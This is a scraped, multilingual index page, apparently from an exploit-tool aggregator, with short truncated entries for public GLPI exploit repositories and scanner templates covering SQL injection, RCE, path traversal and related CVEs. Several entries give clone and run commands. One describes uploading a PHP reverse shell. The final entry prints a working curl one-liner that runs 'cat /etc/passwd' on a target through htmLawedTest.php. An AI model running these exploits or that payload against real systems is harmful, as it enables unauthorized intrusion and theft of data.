CVE-2025-24799-scanner

CVE-2025-24799-scanner GLPI CVE-2025-24799 漏洞扫描器...

GLPwn

GLPwn Una herramienta de hackeo para GLPI, que utiliza el listado de directorios de Apache y/o CVE-2020-15175 para volcar archivos y sesiones válidas. ¿Quién es vulnerable? Cualquier instancia de GLPI que tenga el listado de directorios de Apache ya habilitado en la carpeta /files Todas las...

CVE-2026-53625-GLPI-PoC

CVE-2026-53625 - PoC de Escalada de Privilegios en GLPI mediante Manipulación de authtype 📌 Resumen Este repositorio proporciona una Prueba de Concepto PoC ética para CVE-2026-53625 , una vulnerabilidad de escalada de privilegios de severidad Alta en GLPI que afecta a todas las versiones desde 0....

CVE-2025-24801

CVE-2025-24801 PoC —— GLPI RCE 利用 本仓库包含一个概念验证脚本（poc.py），用于利用 GLPI 10.0.17 中的 LFI 到 RCE 漏洞（CVE-2025-24801）。它可以自动完成以下操作： 登录 GLPI 通过更新文档类型设置启用 .php 上传 通过 AJAX 文件上传端点上传 PHP 反向 shell 🛠️ 安装 root@kitploit: git clone https://github.com/fatkz/CVE-2025-24801.git cd CVE-2025-24801 pip install -r...

cve-2020-11060-poc

CVE-2020-11060 This script is a Python 3.x based exploit for CVE-2020-11060 in GLPI versions 0.85-9.4.5. Original implementation: 0xdreadnaught Python3 refactoring: n3rada The original PoC in ExploitDB is now deprecated since it used Python 2.x. The new version has been submitted, and a link will...

CVE-2022-31061

CVE-2022-31061 PoC para GLPI CVE-2022-31061 Una Prueba de Concepto para GLPI = 9.3.0 y 10.0.2 - Inyección SQL no autenticada en la página de inicio de sesión Aviso legal : El uso de este script para atacar a un objetivo sin consentimiento mutuo es ilegal. Es responsabilidad del usuario final...

GLPI < 10.0.17 - Pre-Auth SQL Injection

A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the...

GLPI 10.0.10-10.0.14 - SQL Injection

GLPI is a Free Asset and IT Management Software package. Prior to 10.0.15, an authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data take control of it. id: CVE-2024-29889 info: name: GLPI 10.0.10-10.0.14 - SQL Injection autho...

GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.

Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability. id: CVE-2021-43778 info: name: GLPI plugin Barcode 2.6.1 - Path Traversal Vulnerability. author:...

GLPI <9.4.6 - Open Redirect

GLPI prior 9.4.6 contains an open redirect vulnerability based on a regexp. id: CVE-2020-11034 info: name: GLPI 9.4.6 - Open Redirect author: pikpikcu severity: medium description: GLPI prior 9.4.6 contains an open redirect vulnerability based on a regexp. impact: | An attacker can exploit this...

Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection

Teclib GLPI = 9.3.3 exposes a script /scripts/unlocktasks.php that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records. id: CVE-2019-10232 info: name:...

GLPI 9.2/<9.5.6 - Information Disclosure

GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2021-39211 info: name: GLPI 9.2/9.5.6 -...

CVE-2025-64516-POC

CVE-2025-64516 未授权访问文档的POC。CVE-2025-64516 影响 未认证用户可以访问附加到任何项目（工单、资产等）的GLPI文档。 受影响版本 版本 = 10.0.0, = 11.0.0 补丁 升级到 10.0.21 升级到 11.0.3 用法 root@kitploit: git clone https://github.com/ArdNoir/CVE-2025-64516.git cd CVE-2025-64516 python exploit.py -h Document::canViewFileFromItem...

Exploit-CVE-2025-24799

Exploit-CVE-2025-24799 CVE-2025-24799 漏洞利用：GLPI - 未认证的SQL注入 安装 root@kitploit: git clone https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799 cd Exploit-CVE-2025-24799 pip3 install -r requirements.txt python3 exploit.py -h 加入Rootkit研究人员 https://discord.gg/66N5ZQppU7...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参考 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 用法 root@kitploit: pip install -r requirements.txt root@kitploit: ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Comma...

CVE-2020-5248

CVE-2020-5248 CVE-2020-5248的概念验证（PoC）。 摘要 GLPI 在 9.4.6 版本之前存在一个涉及默认加密密钥的漏洞。GLPIKEY 是公开的，并在每个实例上使用。这意味着任何有权访问的人都可以解密使用此密钥存储的敏感数据。可以在安装 GLPI 之前更改密钥。但对于现有实例，必须使用新密钥重新加密数据。问题是我们无法知道数据库中哪些列或行使用了该密钥；尤其是来自插件的部分。在未更新数据的情况下更改密钥会导致从 GLPI 发送错误密码；但从 UI 重新存储它们可以正常工作。 PoC： 将“INSERTCOIN”字符串替换为您要解密的内容，URL为...

CVE-2025-24799

CVE-2025-24799 - GLPI SQL Injection Exploit Exploit para vulnerabilidad de inyección SQL no autenticada en GLPI. Vulnerability Information...

Exploit-CVE-2025-24801

CVE-2025-24801 此漏洞利用程序使用CVE-2025-24801通过本地文件包含（LFI）在GLPI 10.0.17上实现远程代码执行（RCE）。该CVE的概念验证（PoC）提供了对此GLPI漏洞的解释。 观察 某些应用暴露了/glpi/端点（例如，http://172.16.11.130:8080/glpi/front/computer.form.php）。如果目标应用包含此端点，则需要将其添加到--url参数中（例如，--url http://172.16.11.130:8080/glpi）。 用法 使用示例。 root@kitploit: python3...

CVE-2022-35914_poc

CVE-2022-35914poc Modified for GLPI Offsec Lab: calluserfunc, arraymap, passthru References Modified to work for Proving Grounds Practice Lab: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.p...

CVE-2022-35914

CVE-2022-35914 GLPI 10.0.2 中无需身份验证的远程代码执行 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...